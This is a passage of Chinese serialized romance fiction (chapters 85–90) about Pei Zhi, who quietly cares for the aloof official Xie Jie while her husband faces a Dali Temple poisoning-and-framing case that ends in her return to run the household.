大理寺陈怀瑾这老头子古板得很,上次喝茶好像还没喝明白。大人这是要再与他“喝一杯清茶”好好聊透了。
……
裴芷用过早膳便让小厨房的人收拾干净几只鸽子。又要了一些药材与搭配的食材。
她如今伤好了大半,便闲不住。
原本想做药丸给谢玠留着备用,但做药丸的话十分繁琐,又会冒出药味会让人注意到。于是她改成药膳。
丫鬟见她忙碌,连忙劝阻。
“大公子若是知道裴姑娘没好好养伤,会责怪奴婢的。”
裴芷自然是不肯停手。她问:“大爷喜欢吃什么?”
丫鬟们摇头不知。裴芷心中奇怪,这些丫鬟不是贴身伺候的吗?怎么都不明白谢玠喜欢吃什么。
她昨儿还问了奉戍,奉戍也是说不知。
难道谢玠真是随意的人?
堂堂谢家长房长公子,未来的家主,竟然过得这般粗糙?
丫鬟悄悄道:“奴婢问过,大公子小时候被人下过毒,差点就死了。所以一应吃食几天就重新换一批,也不能让人知道大公子喜欢什么,不喜欢什么。”
裴芷愣住。
她慢慢停了手中的动作,问:“那住的呢?怎么能让大爷打地铺?”
在谢府二房中,打地铺是值夜下人们才干的事。
丫鬟们道:“那是大公子的习惯。大公子年轻时候出门游历,又跟着军中一段日子,便习惯了。不碍事的。”
裴芷听了,默默叹了口气。
第85章 笨蛋美人
丫鬟们与裴芷相处了几日,已经知道她是个性格极好的人。说话做事虽稍显温吞,但难能可贵的是很能体恤下人。
她想报答大公子,这事她们都能瞧得出来。
于是丫鬟便凑在一起帮她想办法。
有丫鬟低声问:“裴姑娘平日擅长做什么呢?”
裴芷想了想,轻声说:“只擅长医术,其他的都稀疏平常。”
几个丫鬟面面相觑——医术,好鸡肋的长处。男人应该喜欢女人别的东西。
想了半日,有个丫鬟拿来一件做了一半的男子衣衫,偷偷道:“要不裴姑娘缝上几针,绣个花,然后给大公子,就说是你做的。我们都不会说出去的。”
裴芷哭笑不得:“这算什么呢?况且也很刻意。”
她想报答谢玠,想替他点什么是发自内心的,并不是投机取巧做点表面功夫。
这些丫鬟的热心像极了私塾中替她递答案的同窗们,令她有了久违的暖意。
望着丫鬟们热心的脸,她挺想说自己没看起来那么笨。除了医术外,她还能做不少女人做的事。
她轻声道:“我也不是非要做什么,你们别替我烦心。”
“别到时候因我受了责罚才好。”
丫鬟瞧着她温声细语的,模样又好看,忍不住脱口而出:“要是裴姑娘做了我们的大少夫人就好了……”
她刚说完,身边知道裴芷身份的一位大丫鬟便捂住了她的嘴。
裴芷笑容僵住,垂了眼不说话了。
丫鬟们匆匆散去,那件做了一半的衣衫便留了下来。
裴芷呆呆在屋里坐了一会儿,便去小厨房看药膳汤。小厨房有人专门看着火。她无事可做,就着厨房有的食材做了三样复杂点的菜肴。
又回到了屋中,枯坐了一会儿,莫名拿起了那件衣衫。
如今是初夏,应该是制夏衫。
她拿起来看了看,衣衫缝了外边一圈算是将样子粗粗定了下来。还得重新细缝一圈再把外面线拆了才算缝好。
她许久没做过女工,摸了摸便心痒。又突然想起谢玠身上的穿的,明明料子也不是最贵的,偏生穿在他身上便觉得格外好看。
也许,好看的人不管穿什么都令人觉得与众不同。如眼下这料子,是挺好的杭绸绸缎,但这种布料在谢府二房很寻常。
不一样的是颜色与花色。谢玠应该是喜欢偏青黑的色调,极冷静极冷冽的颜色。如墨竹似的,沉沉若水,一般人还真撑不起来。
他大概不会计较她动了新衣吧,只要她不说是自己做的。
裴芷不是纠结的人,想到了便心无旁骛做了。她拿了针线筐缝制起来……
……
谢玠回到松风院比平日早了许多。太阳刚落山就到家。
谢老爷与谢大夫人还以为他要回来与他们一起用晚膳,便派人去问。去问的下人回来,道:“大爷说今日是休沐,所以早些回来。还不到与老爷和大夫人一起用膳的日子。”
谢老爷皱眉:“休沐?玠儿有休沐过?”
这词如此陌生,好像第一次听到谢玠居然能休沐早些回府歇息。
谢大夫人难受捂着心口,垂泪:“养个儿子如此不亲,你听听,说还不到与我们一起用膳的日子……”
“平日倒也罢了,圣人差遣他多,不便与我们说。现如今好不容易休沐一回,竟也不来与我们说话。”
“他那松风院到底有什么好的,这几日日日听他天天回府,一直待着不出。”
谢老爷皱眉:“你又胡思乱想了,玠儿喜清净,待在松风院中定是在歇息。难不成要他出去花天酒地才算好?”
谢大夫人摇头:“我总觉得松风院不对劲。”
她说着突然想起一件事,道:“二房这几日怎么不来走动了?二房不是想着将恒哥儿过继在玠儿的名下?”
先前二夫人秦氏十分热切办这事,时不时找借口过来,还听过她特地抱着恒哥儿堵过谢玠一回。
也是够大胆的。竟不怕谢玠翻脸。
由此可见,过继一事,二房是非常上心的。这几日突然没了声息,谢大夫人便有了揣测。
谢老爷想的却是别的事,道:“玠儿已经不小了。他可以不想成亲之事,但为人父母的却不能不操心。你还是去与交好的世家问问,看能不能相看一位知书达理的大家闺秀来。”
谢大夫人摇头:“先前都试探问了,好人家谁愿意将千娇百媚养的姑娘嫁给玠儿?若是不好的,我们也是不要的。”
“我寻思明日进宫一趟,与太妃娘娘商议一番。”
谢老爷点头:“也是一个办法,太妃娘娘是看着玠儿从小长大的,十分疼爱他。”
那位太妃是谢玠的大姑姑,很早就入了宫,膝下一直无子,养过当今圣上。后来先太子薨了,当今圣上被太后抢过去养。最后立了储君,得以继位。
所以太妃在皇上心中便如同生母般亲近,谢家如同他的母族。
这也是谢玠为何会受到圣上重用的原因之一。
谢老爷长叹:“有生之年也不知能不能看千年铁树开花。”
“破了克妻诅咒,扬眉吐气。
谢大夫人不语,心中却是下了决心。不管如何,她一定要为谢家相看一位家世、人品、样貌、才情都是一流的儿媳妇。
到时候定要风风光光,十里红妆将人迎进门,好出了这口被压了许多年的恶气。
……
谢玠回到松风院时,暮色刚好落下。
清冷的院落依次点上了风灯,显得不那么清冷荒僻。他瞧见了主屋一盏灯早早点上了,窗关着,昏黄的灯光透了出来。
一日的气闷好似就轻易驱散了。
他打开屋门,一抬头只见窗边坐着裴芷,正低头凝神细细缝着一件长衫。她做得认真,连屋门打开的声音都没听见。
烛火映着她半边脸,眉眼如画,眼睫纤长,一小片阴影落在粉白的面上。鼻梁挺翘,红唇微微抿着。鬓边散了一缕发,轻柔地落在肩上。
她平日头发梳得很工整,这一缕发应该是缝衣衫时无意中被扯下来的。明明是针线活,如此看来倒像是做了一下午的苦力。
弄得鬓发散了都不知。
谢玠走了进来,立在屏风处静静瞧着她,看她什么时候能意识到有人进来。
裴芷缝了一会儿,长吁一口气,又挠了挠鬓边头发。她应是累了,神情茫然瞧着手里的长衫,在想接下来要做什么。
一道黑影缓缓覆来,冷淡的嗓音传来。
“谁叫你缝我的衫子?缝坏了?”
第86章 像一只呆猫
裴芷垂着脸盯着手中的长衫,没注意来的人是谁。
“没缝坏,就是有些累眼。”她头也不抬,“劳烦帮我递个茶,我要拿茶叶敷眼。”
过了一会儿,茶壶端了过来。
裴芷随手接过,从里面捞了茶叶往自己的眼睛上贴。
她微微仰头,正巧瞧见眼前站着的黑影。
屋外光影明暗交错映在那人面上,极低的眉压眼,眼窝被阴影盖住,一双眸似海深沉。
他就静静这般望着她,不急不躁,压迫感似乌云罩顶。
裴芷手一哆嗦,站起身:“大,大爷来了。”
茶叶从她手中飞了过去,沾在了谢玠的官服上。朱红色的官服上多了几点不该有的茶渍。
这官服何等重要。
裴芷面色白了白,僵在原地一动不动。
看样子,应该是被自己闯的祸事吓得更呆了。
谢玠面无表情挥走了身上的茶叶,再垂眸看了眼她手边的长衫。一些话在嘴边滚来滚去,却并没有说出口。
他唤来丫鬟,转入屏风换了衣衫出来。
裴芷已经垂首等在屏风外,见他出来歉然道:“妾身不知大爷回来了,那袍子我可以拿去浆洗……”
谢玠拦住她要说的话:“你方才在缝什么?拿来瞧瞧。”
裴芷转身将缝了一下午的长衫递给谢玠看。
谢玠随意看了一眼,并没有评价好与不好,只是冷冷问了早上的事。
“谁让你做了早点?又是谁让你煲汤?”
“这长衫是谁叫你缝的?”
他没生气,但问话时俊脸沉沉,一字一顿,一副山雨欲来风满楼的压迫。
像是讯问犯人。
一般人见着他如此发问,要么吓得浑身发抖,要么便哭了出来。
她不是犯人,也没有害他的意思。
裴芷茫然瞧着谢玠,不明白自己犯了什么错。
唇翕动了几下,她闭紧了嘴,低低垂着头。
谢玠瞧着她露出熟悉的模样,心里一股久违的火又冒了出来。
她不傻,也不笨,只是性子特别倔。就像她过世许多年的父亲裴济舟一样。明知道直言进谏会招来杀身之祸,觉得对便去做了。
这些小事她觉得应该做,也就做了。
而他救她,又不是让她来给他做丫鬟的。
从来都不是。
两人一人坐着,一人站着,就这样无声沉默地对峙着。
谢玠冷冷道:“不想说话?”
裴芷摇了摇头:“大爷叫我说什么呢?”
她从小就知道,母亲生气了,辩解再多,挨的打更狠。索性就养成了别人生气,自己默默扛着便是。
反正风雨总是会过去的。
她不会因为旁人的冷言恶语做无用的辩解。
谢玠看向那件衫子,冷冷道:“你做的东西,我是不会穿的。以后别做这些无用的。”
他再也不会对她心软。他要叫她看认清楚一些事,不要再动没用的心思。
裴芷“哦”了一声,有些惋惜看了一眼那长衫。
真是可惜了,她缝了一下午。
谢玠见她看了几眼长衫便揉了揉眼睛,冷笑一声。
“我这么说,你不服?”
“妾身没有不服。”
谢玠:“那你哭什么?”
裴芷愕然望了他一眼,谢玠眸色沉沉,正盯着自己的脸。
裴芷摇头:“不是,眼累得慌。大爷说得对,以后不缝衣衫了。”
谢玠:“……”
良久,裴芷轻轻又捶了捶腿,低低道:“大爷,我站得累了,能坐下来听吗?”
谢玠:“……”
先前累了眼,现在累了腿。
“还哪儿累?”他冷冷问,“一并说了。我好给你治治。”
裴芷瞧了他一眼,摇了摇头:“不累,就是饿了。”
谢玠突然冷笑一声。
被气的。
裴芷一双如水明眸瞧着他,柔柔问:“大爷饿不饿?我给您做了汤。”
谢玠定定瞧着她。那些尖酸刻薄的话又在嘴边翻滚了,只是即将出口时,在她澄澈清亮的眸光中纷纷消融掉。
罢了,他与傻子计较这些做什么?
训斥她,听了像是没听。
讥讽她,打击她,她又像是脑子缺了根筋,一点都没往心里去。
不知道裴家怎么养出这么一个看似聪明,实则脑子缺根筋的笨蛋美人。
裴芷见谢玠又盯着自己瞧,记起自己应该是没认错。
她抱了那件长衫,放到了里屋的樟木箱子上。
“大爷,我不动你东西了。”
她缓了缓口气,在他面前蹲下,轻轻扯了扯谢玠的衣袖:“大爷,别生气了。”
谢玠目光落在她细白的指尖上。她估摸是想跪地谢罪,但又觉得不必要为了一件衣衫跪,便取了个巧蹲在他身边。
果然像一只呆猫。
漂亮可爱,但是没什么用处的呆猫。
谢玠眼底冷意慢慢化开。
他缓缓点了点头:“起来,吃饭吧。”
裴芷露出浅浅笑容,起身去唤丫鬟,但到了房门边发现一个人都没了。
人呢,为什么都跑了?
她只能自个去小厨房拿了饭菜。
……
奉戍走进院中,打算禀报事。突然他发现院中气氛怪异,原本规规矩矩的几个丫鬟瑟缩在廊下,满脸惊惧。
“出了什么事?”奉戍问。
丫鬟拦着他,将事说了,随后懊悔无比:“都怪奴婢,让裴姑娘动了大公子的长衫。大公子如今在屋里大发脾气呢。”
“也不知道会怎么罚裴姑娘。”
“怎么办呢?大公子从来都不愿外人动他的东西。裴姑娘犯了忌讳。”
“都怪我们不该怂恿裴姑娘。”
奉戍心中诧异。他不相信谢玠会罚裴芷。不过转念一想,今早大人就怪怪的。也许裴芷真的犯了什么了不得的忌讳。
得去瞧瞧,大人脾气不好又不懂怜香惜玉,肯定会把人家吓哭吓跑。
奉戍急忙走到屋边,往里一瞧,谢玠正与裴芷同桌用膳。两人没说笑也没说话,但瞧着有种很微妙的柔和。
他呆了呆,转身默默走了。
……
裴芷给谢玠布了几筷子的菜,谢玠没看她,默默吃了。
用完晚膳,他问:“这些都是你做的?”
裴芷点了点头,没邀功。因为记着丫鬟说的,谢玠从小到大的吃食都是隔段时日就全换一批。
为的是不让别人有机会下毒。
谢玠:“我没让你做这些。”
裴芷也不生气,轻声道:“我没事做,得了空闲便去做了。大爷要是不让我做,我便不做了。”
谢玠眼里都是不信。
裴芷总算是学会了看他眼色,轻声加了一句:“大爷不喜欢吃,我就不做了。”
她说完,想起什么道:“不过奉戍说好吃,还让我做,我能不能做给奉戍吃?”
第87章 状告和离
谢玠手中的茶盏一顿,眸光就冷冷地瞧了过去。
裴芷:“奉戍说,起得太早了,没空去买早点。经常饿着肚子随着大爷上朝,再去办差。时常要中午才能吃口热饭。”
谢玠慢慢抿了一口茶。
裴芷见他不言不语,好似没听见自己说了什么。她便又轻轻扯了扯他的长袖。
没办法,明知道越了规矩,但谢玠太冷淡太沉默了。
她与他说话时常就像是与一座冰山说话,要想得到回应她必须做点什么他才会搭理。
谢玠眸光落在她那一小节细白的手指上。
她的指头异常秀气,莹白如玉雕,指头很好看,指甲粉粉嫩嫩的,像白玉肉里透出胭脂来。
这样秀美的手指搭在长袖上,越发衬得莹白若雪粉。
他突然冷冷问道:“你与奉戍很熟?”
裴芷怔忪片刻,点头:“自然是熟的。这些日子我问奉戍一些事,一来二去便熟了。”
谢玠垂眸继续喝茶,修长的手指搭在茶盏盖上,雪般似的清冷好看。他一直是好看的,只是身上过分冰冷的气质与威压并存,让人忽视了他的俊美。
“你问了什么?”
裴芷:“我问奉戍大爷平日喜欢吃什么。奉戍说不知道。”
谢玠淡淡嗯了一声,似乎冷淡的眉眼和缓了些。
裴芷又旧事重提:“刚才说到了准备早点。我能做吗?”
谢玠冷淡道:“你不是要给奉戍做?你去给他做就是了。”
裴芷:“可是奉戍说大爷也是早上没吃便出门了……大爷喜欢吃什么,我便一起做了。”
谢玠抬眼看她。果然瞧见女人眼底藏着的光。
细碎、晶亮,显得一双杏眼极好看。
果然更像呆猫了。
看着聪明实则不太聪明的样子。
一眼就能看透的小心思挂在脸上,还兜兜转转用在了他身上。
谢玠本该发火的,但眸光一转,瞧见裴芷微微蜷着的手指。火气没上来,便化成了莫名的举动。
他突然伸手握住了她露在袖子外的左手。
裴芷一愣,想收回手已经来不及了。
她的手被他稳稳捉在掌心,暖意袭来,热意从脸上冒了出来。她垂着首,温顺地任由谢玠瞧着她的左手伤口。
谢玠揭开包扎的布,她的小指腹已经痊愈,长出粉红的嫩肉。只是好好的指头以后会留下不可磨灭丑陋的疤。
谢玠握住她的手,垂着眸看了好一会儿。
裴芷在初时片刻不安后,慢慢平静下来。她看向面前沉默寡言,浑身冒着生人勿近冷气的男人。
看得出他很不好亲近,也不耐烦和人说话,可偏偏能忍着不耐烦听她絮叨这么久。
大爷,是个好人。
她悄悄叹了口气,是大家都误解了他。
谢玠:“还疼吗?”
裴芷摇了摇头:“早就不疼了。”
谢玠抬眸深深看着她:“伤都好了?”
裴芷犹豫片刻点了点头:“好得七七八八了。”
谢玠将她的手放了回去,神情恢复冷淡:“以后这手,除了给我做早点外,只有另一个用处。”
“这个用处就算不用,也不能用来写**。若是让我发现你又伤了手用来写**,我便将你这手剁了。”
裴芷瞧着他的面无表情的样子,一股寒气从心里蓦然升起。
大爷,真吓人。
难怪那么多人怕他。他竟然想剁她的手。
裴芷摸着左手,好奇问:“还有什么别的用处?”
谢玠眸光沉冷:“扇人。”
裴芷没听清楚。
他冷冷的,一字一顿道:“扇要伤你的坏人。”
……
日子就这么怪异又寻常地过去了十日。
谢观南身上的伤好了,除了还有些浅淡的淤青外,已经看不出曾经被痛殴的狼狈模样。
他依旧是风度翩翩,清高矜贵的谢府二公子。
阖府上下都看似恢复到了从前,只除了二夫人秦氏还病着、恒哥儿依旧是病恹恹的外,好像和从前没有什么差别。
只除了一个事“二少夫人还病着”。
谢观南一边养伤一边等着寻人的消息,但还是没有半点消息。撒出去寻人的酬金越多,越是做了对似的没半点回响。
人是死是活,依旧未知。
谢观南在恐惧与猜测中,十日过得和十年似的漫长。
有时候生出幻想来,只觉得裴芷是不是悄悄逃出京城再也不回来了
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,然后他的罪过就可以随着她的消失一笔勾销了。
这个念头不停地在脑子中时隐时现,几乎要变成了臆想。
又是一日,第十一日了。
谢观南醒来时,照旧洗漱用早膳,打算去国子监复职。日子还是得照旧过,他的前途不可以再荒废。
北正院那边来了人,说二夫人秦氏唤他过去。
谢观南面色一紧:“母亲怎么了?”
这大半月,他不太敢见秦氏。就算见了也只是低头垂手恭恭敬敬说两句话,问个安便走了。
他不敢瞧母亲的眼睛。那一定是带着极度的失望与不甘的隐忍。
来人只说秦氏今早吐了一口血。下人要请大夫来,秦氏不让,非要见谢观南。
下人央求:“二爷,您赶紧去一趟吧。二夫人身子不太好,看着像是撑不住了……”
谢观南瞧着洗漱盆上的铜镜。
铜镜中的自己依旧是俊美的佳公子,但面皮发紧,神情惶惶,犹如丧家之犬。
他张了张口:“好,我去瞧瞧母亲。”
下人松了一大口气,赶紧领着他去北正院。
正当谢观南要踏进北正院时,两个府衙的捕快在院门口等着。
他们和先前府衙的人不一样,身上带着刀,腰间还系着镣铐。一副拿犯人的模样。
谢观南猛地僵住脚步,冷汗莫名其妙地冒了出来。
捕快见他来了,上前道:“谢二爷,我们是大理寺的官差。有个案子大人请你过去一趟。”
谢观南眼前忽然暗了暗。
大理寺?
怎么变成了大理寺?
半天他终于找到了自己的声音:“不知有什么案子要我前去?二位官差大人能否提点一二?”
捕快对视一眼,皮笑肉不笑:“谢二爷不知道?您的夫人,小裴氏写了一份**,状告你下药陷害她,对外谎称她病重,要害她性命。现如今小裴氏要与你和离,还要追你的罪责。”
捕快叉腰,超绝不经意露出腰上的镣铐,冷冷道:“俗话说,刑不上大夫。谢二爷是有功名在身的举子,我们自然不会对谢二爷动粗。”
“还望谢二爷自觉点跟着我们走一趟大理寺,向陈大人陈述案情。”
第88章 白日见鬼
谢观南苍白着脸,半天才吐出话来:“好,我去。”
他说着脚步反而转向北正院的大门。
两个捕快就是一早在这里专门等他的,见他走得方向不对,便拦在他面前。
“谢二爷不要让我们难做。”
他们亮出了腰间的佩刀。
谢观南挤出笑容:“两位官差,容我与母亲说一声。母亲卧病在床,今早还吐了血。我得进去瞧瞧才放心。”
官差没吭声,手依旧握着刀柄。
谢观南心中破口大骂,面上带着央求:“凡事孝道为先。我是谢府的二公子,不会跑的。二位放心。”
“二位家中必定有父母双亲,定能理解我的孝心。”
官差不冷不**道:“谢二爷,不是我们不让你进去瞧瞧老母亲。是职责在身,不想出什么岔子。要不你先去大理寺,快快陈述案情之后就可以回府了。”
谢观南又央求了好一会儿,两位官差却始终不松口。
无奈,他只能跟着官差出了谢府。
而等他们离开,又有两位官差带着一位年老的大夫进了北正院给二夫人秦氏“看病”……
那边谢观南进了大理寺,便察觉到了与之前在府衙的大不同。
没人和他寒暄,更没有一张笑脸。官差带着他去画了个到案的押,然后搜了他全身上下才领着他见了陈怀瑾大人。
陈怀瑾今年五十,刚刚升任大理寺左少卿,正四品。
他面容严肃,身形瘦小,见到谢观南时眉心拧了拧。
他开门见山:“谢观南,你是国子监典籍厅的编撰,有了官身,本官就不让你上锁镣了。现给你看一些东西。”
谢观南:“……”
……
北正院中秦氏昏昏沉沉躺着,身上一阵冷一阵热的。她早上吐了一口血,将院中的下人吓得魂飞魄散。
她让下人去请大夫,决心将所有说了。不然实在是熬不住。
但,过了许久下人还没回禀。
秦氏迷迷糊糊昏了过去,过了不知多久,有人在耳边说:“二夫人,二少夫人回府了。”
秦氏迷糊睁开眼:“小裴氏?她去了哪儿?她怎么不来给婆母侍疾?”
说着,人就清醒过来了。
一睁眼,一位端庄素净的美人清清冷冷坐在床边的锦凳上。
彼时已近正午,屋外春光明媚,透过花窗照在美人身上。她雪肤乌发,一双明媚眸子如寒潭里浸润着的两颗黑宝石。
清清冷冷的,灵气又澄澈。
一身严实的黛蓝色长衣上绣着雅致的兰草,下身是雪白的锦缎百褶长裙。极好的料子上织着繁复的暗纹。
素色的衣衫衬着那一张雪粉似的脸,有种素极生艳的意味。
乌发如云挽成高髻,发间正儿八经插着一根八宝玉簪,其余的贵重的首饰便没了,唯有一枝宝蓝络子打成的流苏簪在鬓边。
精致的青玉耳坠晃动在白净的耳垂下,天光照着,玉石温润,水头好得像是一点碧水。
十几日不见,面前的人重新换了一副样子。
不再唯唯诺诺,也不会低眉顺眼。木讷二字从她身上飞走了,好像蒙尘许久的宝石被人擦去了尘土,泛出不一样的珠光宝华。
身边有下人喜极而泣:“少夫人来了就好了,如今府中便有了主心骨了。”
秦氏费力眨了眨眼睛。她想伸手摸摸面前的人是真还是假的,但手一抬就软软垂下。
她一定是发了梦。
面前的人怎么可能是小裴氏?她向来没放在眼里的儿媳妇。
她听见那素净精致仿佛瓷人的绝色美人,柔声对满屋子的下人道:“拿药汤来我瞧瞧,婆母这是病了几日了?”
“病了七八日了。”
“少夫人,大夫说二夫人这是新旧病一起,才如此凶险。”
“少夫人,您来就好了。二爷最近也不好呢,被人打了……”
“是啊,少夫人,二夫人还吐了血……”
“……”
秦氏恍惚听着,不知是前几日经历的那些事是做了梦,还是现在是做了梦。悄悄地,她拧了自己一把。
疼。
不是梦。
“你,你怎么来了?”秦氏看面前的女人像看一只鬼,浑身发抖起来,“你莫不是来讨债的是不是?”
裴芷淡淡道:“婆母果然病糊涂了。儿媳先前是在清心苑病了呢。
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如今病好了,自然得回来伺候婆母。”
秦氏又狠狠拧了一把。
还是疼。
意识到眼前人不是鬼,眼前的一切不是梦之后,秦氏的面色渐渐变得异常惨白,身上抖得更加厉害。
裴芷见她死死盯着自己,眼底掠过复杂。
她回头柔声对下人道:“药给我,我伺候婆母喝下。”
药汤端来了,裴芷用银勺舀了一汤勺,缓缓送到了秦氏唇边:“婆母,请喝药。”
秦氏牙关死死咬着,从唇的缝隙中挤出一句话:“你到底想干什么?”
“这些日子你躲在了哪儿?”
裴芷柔和的目光渐渐转凉,失了明亮的光彩。
她叹气:“婆母,害你的人不是我。”
“你为何不喝药呢?是不是喝的药,被人下了毒?”
秦氏一股气突然泄了,软软躺倒在床上。
裴芷见她备受打击的模样,轻叹一声,对伺候秦氏的下人道:“婆母病得太重了,拿着府上的帖子去叫大房的管事帮忙,请太医吧。”
“是,二少夫人慢走……”
“……”
耳边诸多声音都消失了,秦氏自言自语:“一定是见鬼了。一定是。”
“睡一觉便什么都没发生了。”
……
裴芷回到清心苑时,遇到了闻讯而来的三房夫人钱氏,与四房夫人李氏。
两位夫人瞧着干干净净,清清爽爽的裴芷,半天说不出话来。
白日见鬼,也不过如此。
裴芷上前见过了两位夫人。
三夫人钱氏拧着帕子,挤出笑:“侄媳妇是从哪儿回来的?不是在养病吗?”
裴芷:“一直在清心苑养病,昨儿出了府上了香。今日才回来。”
四夫人李氏脱口而出:“你去哪儿上香?”
裴芷面色不改:“普陀寺。”
说完,她又寒暄了几句,便带着丫鬟回了清心苑。
等她走得远了,三夫人和四夫人面色发白,四夫人李氏差点都站不稳了,扶着钱氏。
她两腿战战:“三嫂,我莫不是见了鬼?这小裴氏不是被关在清心苑等候处置吗?怎么突然从外边回府了?”
第89章 谢府二房要变天
“她还全须全尾的,一点都没遭罪的样子。难道在清心苑,二爷没折磨她,反而偷偷给她好吃好喝供着不成?”
三夫人钱氏脸色也不好。
那日谢观南突然发飙,不问青红皂白将裴芷拿下,又拿住了裴芷身边的两个贴身丫鬟,看阵仗明显是要把将她胡乱问个罪弄死在府中。
可接下来发生的事,却一件比一件还离谱。
谢观南雷声大雨点小关了裴芷之后。就一路倒了血霉。又是被府衙请去喝茶,又是被人套麻袋打,直到现在。
就在阖府所有人都以为谢观南伤好了会继续折腾裴芷这事,没想到……裴芷居然从外边回来了。
三夫人钱氏与四夫人李氏对视一眼,心里丝丝冒着冷气。
太邪门,太古怪了。
二房上下都像是被什么恶鬼控制了心神似的,做出一些常人难以理解的事。
“不要管了。”三夫人钱氏终究是年纪大些,下定了决心,“二房这么闹是他们的事。与我们无关。”
“站远点,别惹祸上身。”
……
裴芷回了清心苑,下人们十分高兴。他们不知道裴芷出了什么事,只知道那一日谢观南拿了梅心与兰心,又派人抄了院子。
所谓的罪证没搜到什么,反而是将一帮下人们关在后院干杂活。要不是今日裴芷回府,还得继续干。
裴芷温言安慰了下人们两句,只道自己前些日子病了,在普陀寺养了病才回府。
下人们哪管这些事。只要裴芷在,他们便有好日子过。
裴芷让梅心赏了下人们一些银钱,他们欢欢喜喜下去各司其责。
到了屋里,梅心将房门一关,红着眼眶扑到裴芷脚边。
“少夫人,这些日子您受苦了。”
“可是在外好好的,怎么又要回到这**的地方?”
兰心也是红着眼眶,在旁边陪着哭。
裴芷:“我这不是好好地回来了吗?你们不用担心,在府中不会待太久了。”
梅心与兰心是今早才被送到裴芷身边。她们只知道自己被中途救了。
救人的人将她们收留在城里一座普通宅子养伤。别的便什么都不知道。
梅心偷偷打量越发沉稳安静的裴芷,忍不住问:“少夫人,我们真的能离开谢府,去瓜洲吗?”
裴芷点了点头。
“能。”
……
到了傍晚,谢观南才从大理寺出来。他如今挂在了命案上,人证物证俱在,还有那张明晃晃的**状子。
外加,今日陈大人还让一位大夫当面与他对质。大夫说,谢观南的母亲秦氏中了毒。而那毒,是谢观南指使小厮买的**。
目的是栽赃嫁祸小裴氏身上,让她受宗祠家法处罚。
弑母。
两个字足够让他死无全尸。
按道理他应该关在牢房里,等着大理寺将案子交给监察院审。最后三部会审,天子朱砂批注:杀。
但,陈怀瑾大人留了一处生机给他。
让他回府先与小裴氏和离。
至于那些杀头的罪名,陈怀瑾大人皱着眉厉声道:“若是要坐实那些罪名,便只能将你买凶欲玷污其妻的丑事公之于众。”
“裴家满门忠臣之后,裴氏二女秀外慧中,德容兼备。与你成婚三年,她有情有义,孝感天地。一介弱女子何罪之有。难不成非要被你这等不忠不义不孝的**连累,蒙受**?”
“若是你坐实了罪名,她也不得不在世人异样的眼光与唾沫中含恨自裁以证清白。”
“所以看在已故挚友的份上,我陈某不得不第一次徇私枉法,保你一条狗命。速速回府与小裴氏和离,然后辞去国子监编撰之职。”
“若是你再生事端,到时候就不单单是人头落地那么简单。我会将你交给锦衣卫处置。”
谢观南游魂般回到了清心苑。
主屋的灯火亮着,似乎早就在等着他。
他僵住脚步,惊悚瞪着主屋中静**着的倩影。烛光柔和,倩影身边站着两位清秀的丫鬟,此情此景,美人如画,却像是地狱恶鬼图似的直朝着他迎面冲来。
绷紧了十几日的神经,在这一刻彻底崩碎。
谢观南捂住脑袋,再也顾不上刻在骨子里那份世家公子的清贵高傲。
他发出一声惨绝人寰的
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嚎叫。
……
谢观南病了,秦氏也病了。
谢府二房最重要的母子两人统统生了病,唯一主事的便是从前人人都瞧不起的二少夫人裴芷。
裴芷用过早膳时,就有北正院的下人道,北正院的几位得脸的管事与管事嬷嬷打算请她来北正院商议怎么交接中馈之事。
裴芷垂下眼帘,淡淡道:“那就先让他们等着。我院中的事安排妥当再过去。”
下人见她不紧不慢的样子,只觉得诧异。
如今这个时机不是正好收了府中的掌家大权?所谓的多年的媳妇熬成婆,难道不应该是高兴才是。
裴芷等北正院的人走了后,让梅心与兰心搬来清心苑下人的名册。
婆母秦氏虽然一直提防着她,不让她执掌中馈,但给了清心苑的权力。在清心苑当差的下人身契都给了她。
还有三年里,裴芷亲自挑选采买了几位下人。他们的身契与活契也都在手中。
若是要离开谢府,这些人的去处得安排妥当。
梅心念了名字,裴芷便一一询问他们,有的原本跟了她的,便给了一笔丰厚的银子,让他们离了谢府。
有的愿意继续留在谢府做事,也赏了一笔银子,将身契或活契挑出来,到时候交回给秦氏手中。
还有虽是谢府买的,但死活愿意跟着裴芷的,也另行妥善安置。
清心苑下人不多,但里里外外近二十个。处理完,已到了正午。
裴芷索性用了午膳,又歇了一个时辰,才到北正院。
到了北正院中,几位管事们面色难看地候在堂上。
今早他们派人去请裴芷,本以为她会欢天喜地过来收拢人心。没想到她竟然拿起了乔,直到午膳过后才姗姗来迟。
管事们平日都养尊处优惯了,哪里饿得这么凄惨过。
为了等裴芷来,他们愣是不敢贸然出去吃饭,生怕为了一顿饭错过了向新主母表明忠心的机会。
是的,现在谢府上下只要眼睛不瞎的,便知道如今谢府变了天,换了地。
从前连下人都瞧不起的小裴氏,便要成为谢府二房的新主母了。
第90章 风水轮流转
“当真是风水轮流转。当初小裴氏进谢府,都觉得她性子绵软,成不了气候。哪想得到了现在……”
赵管事摇头,满脸的扼腕叹息。
侯管事满脸麻木。他是谢府的老人,秦氏的心腹,一向是忠于秦氏。所以小裴氏如果掌了内宅,他这种人第一个要被根除。
“我瞧着二少夫人也不是那等心狠手辣,睚眦必报的人。清心苑的下人都说她宽和。”
“那不过是笼络人心的手段罢了。等一掌了内宅,我们就……”
“……”
其余管事议论纷纷,人心惶惶。一个个强行宽慰自个,只盼着裴芷不会来个秋后算账。
北正院中的几位管事嬷嬷也心慌不已。
秦氏一向瞧不起裴芷,这些管事嬷嬷是最会察言观色的,自然不会给裴芷好脸色,有的甚至为了献媚秦氏会故意给裴芷穿小鞋。
裴芷到了北正院就瞧见了一大帮外院与内院的管事、管事嬷嬷都站在院中。
她微微蹙了眉,慢慢走了进去。
众人见她来了,让开了一条道。
裴芷走到堂前的廊下便驻了足,众人的心提了提,不知道她要怎么发作。
裴芷却是问起了内屋伺候秦氏的两位嬷嬷:“婆母今日如何了?”
两位嬷嬷赶紧答了。只说昨儿吐了一口血后就昏昏沉沉睡到了现在。中途唤醒了一回,喝了两口米粥全吐了,吐的秽物中有血。
裴芷垂眸:“不是请了太医?太医怎么说?”
两位嬷嬷期期艾艾,说不出个明堂来。
裴芷心如明镜,挥了挥手让两位嬷嬷领自己进去。然后对外间伸长脖子等的管事们吩咐多等片刻。
管事们见她还关心秦氏,心中都是松了口气。
只当她在这个节骨眼上不得不扮演孝子贤孙,而不是急着**,不然传出去会被外人诟病她不孝。
裴芷倒不是如众人想的,在这时故意演出孝顺婆母的样子。是她自从嫁入谢府后一直对秦氏如此。
